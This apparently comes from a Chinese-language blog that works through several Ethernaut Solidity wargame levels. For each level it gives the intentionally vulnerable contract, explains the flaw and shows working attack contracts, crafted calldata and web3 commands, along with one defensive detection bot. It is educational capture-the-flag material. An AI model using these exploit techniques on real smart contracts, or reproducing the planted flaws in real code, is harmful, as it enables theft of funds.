https://blog.dixitaditya.com/ethernaut-level-26-doubleentrypoint

大概的思路是 CryptoVault 的 sweepToken 被设计成不能够提出 DET, 但是如果将 token 的地址指定为 LGT, 那么就可以通过一系列的函数调用, 最终将 vault 内的所有 DET 代币提走, 我们需要编写一个 detection bot 以阻止这种攻击

bot 的思路很简单, 就是解析 calldata 然后判断 origSender 是否为 CryptoVault

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract DetectionBot is IDetectionBot {
    IForta forta;
    CryptoVault vault;

    constructor(address _forta, address _vault) {
        forta = IForta(_forta);
        vault = CryptoVault(_vault);
    }

    function handleTransaction(address user, bytes calldata msgData) external {
        (, , address origSender) = abi.decode(msgData[4:], (address, uint256, address));
        if (origSender == address(vault)) {
            forta.raiseAlert(user);
        }
    } 
}

扩展阅读

https://blog.openzeppelin.com/compound-tusd-integration-issue-retrospective

https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2

Good Samaritan

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

条件: 用完他钱包里的所有余额

挺简单的, 只需要实现 INotifyable 接口, 然后在 amount 等于 10 的时候 revert NotEnoughBalance error, 这样 GoodSamaritan 就会再触发一次转账, 将钱包内所有的钱转走

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/utils/Address.sol";

// ...

contract Attack is INotifyable {
    error NotEnoughBalance();

    function request(address addr) external {
        GoodSamaritan gs = GoodSamaritan(addr);
        gs.requestDonation();
    }

    function notify(uint256 amount) pure external {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }
}

Gatekeeper Three

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

条件: 调用 enter 函数

感觉没啥好说的? 只要 createTrick 和 getAllowance (trick.checkPassword) 在同一个交易中调用, 那么 block.timestamp 就是一致的

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
    GatekeeperThree keeper;

    constructor(address payable _keeper) {
        keeper = GatekeeperThree(_keeper);
    }

    function attack() external payable {
        require(msg.value > 0.001 ether);

        keeper.construct0r();
        keeper.createTrick();
        keeper.getAllowance(block.timestamp);
        
        payable(address(keeper)).transfer(msg.value);
        keeper.enter();
    }

    receive() external payable {
        revert();
    }
}

Switch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

条件: flip the switch

https://cylab.be/blog/334/solidity-abi-encoding-explained

正常情况调用 flipSwitch 函数时, calldata 长这样

length desc
4 bytes selector of flipSwitch
32 bytes offset of the start of bytes
32 bytes length of bytes
4 bytes selector of bytes

调用 turnSwitchOff 时的 calldata

1
2
3
4
5
// invoke turnSwitchOff via flipSwitch
30c13ade
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000004
20606e1500000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOff

calldatacopy 会从第 68 字节开始, 读取 4 字节的内容, 即上面的 0x20606e15 (selector of turnSwitchOff)

但实际上, calldata 内对于动态类型参数的确定是通过 offset 实现的, 这个 offset 可以任意指定, 只要能被 EVM 找到就行

即我们可以将 _data 参数的 offset 设置成一个比较远的值, 然后构造其它数据, 使其刚好符合 onlyOff modifier 的条件

1
2
3
4
5
6
7
// invoke turnSwitchOn via flipSwitch
30c13ade
0000000000000000000000000000000000000000000000000000000000000060 // offset of bytes
0000000000000000000000000000000000000000000000000000000000000000 // nop
20606e1500000000000000000000000000000000000000000000000000000000 // nop, but starts with selector of turnSwitchOff
0000000000000000000000000000000000000000000000000000000000000004 // length of bytes
76227e1200000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOn

Solution

1
web3.eth.sendTransaction({from: player, to: instance, data: "30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"});

HigherOrder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

条件: commander = msg.sender

先调用 calldataload 从 calldata 的指定 offset 开始往后读取 32 字节的数据, 然后调用 sstore 将这 32 字节的数据保存至 treasury 所对应的 slot, 即改变 treasury 的值

函数签名限制类型为 uint8 没啥用, 手动构造 calldata 就行

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// change treasury
await web3.eth.sendTransaction({from: player, to: instance, data: '211c85ab0000000000000000000000000000000000000000000000000000000000000fff'});

// check treasury
(await contract.treasury()).toString();

// claim commander
await contract.claimLeadership();

// check commander
await contract.commander();

Stake

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

条件:

  1. Stake 合约的余额 > 0
  2. totalStaked > Stake 合约的余额
  3. Stakers[msg.sender] = true
  4. UserStake[msg.sender] = 0

StakeWETH 内部的两次 call 调用分别对应 ERC-20 标准的 allowance 和 transferFrom

这里的问题在于 call 之后并没有验证是否调用成功, 导致可以无需任何 WETH 消耗即可凭空增加 totalStaked, 最终使得 totalStaked 和 balance 不相等, 再通过 selfdestruct 强制向合约转入 ETH, 即可满足前两个条件

然后 Unstake 内部在转出 ETH 之后并没有更改 Stakers 数组里的内容, 使得用户可以先 StakeETH 然后 Unstake, 虽然质押的余额为 0, 但仍然属于 staker, 即满足了后两个条件

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/interfaces/IERC20.sol";

// ...

contract Attack {
    Stake stake;
    IERC20 weth;

    constructor(address _stake, address _weth) {
        stake = Stake(_stake);
        weth = IERC20(_weth);
    }

    function fakeStake() external payable {
        require(msg.value == 0.001 ether);
        weth.approve(address(stake), 0.002 ether);
        stake.StakeWETH(0.002 ether);
        selfdestruct(payable(address(stake)));
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// invoke Attack.fakeStake()

// check balance
await getBalance(instance); // 0.001 eth
// check totalStaked
fromWei((await contract.totalStaked()).toString()); // 0.002 eth

await contract.StakeETH({value: toWei("0.0011")});
await contract.Unstake(toWei("0.0011"));

// check user
await contract.Stakers(player); // true
(await contract.UserStake(player)).toString(); // 0

https://app.blocksec.com/explorer/tx/sepolia/0x39d8054fd72117f8f1969fc13757f79113dd039b55e2ab8ebf71ebcfa902f143

0%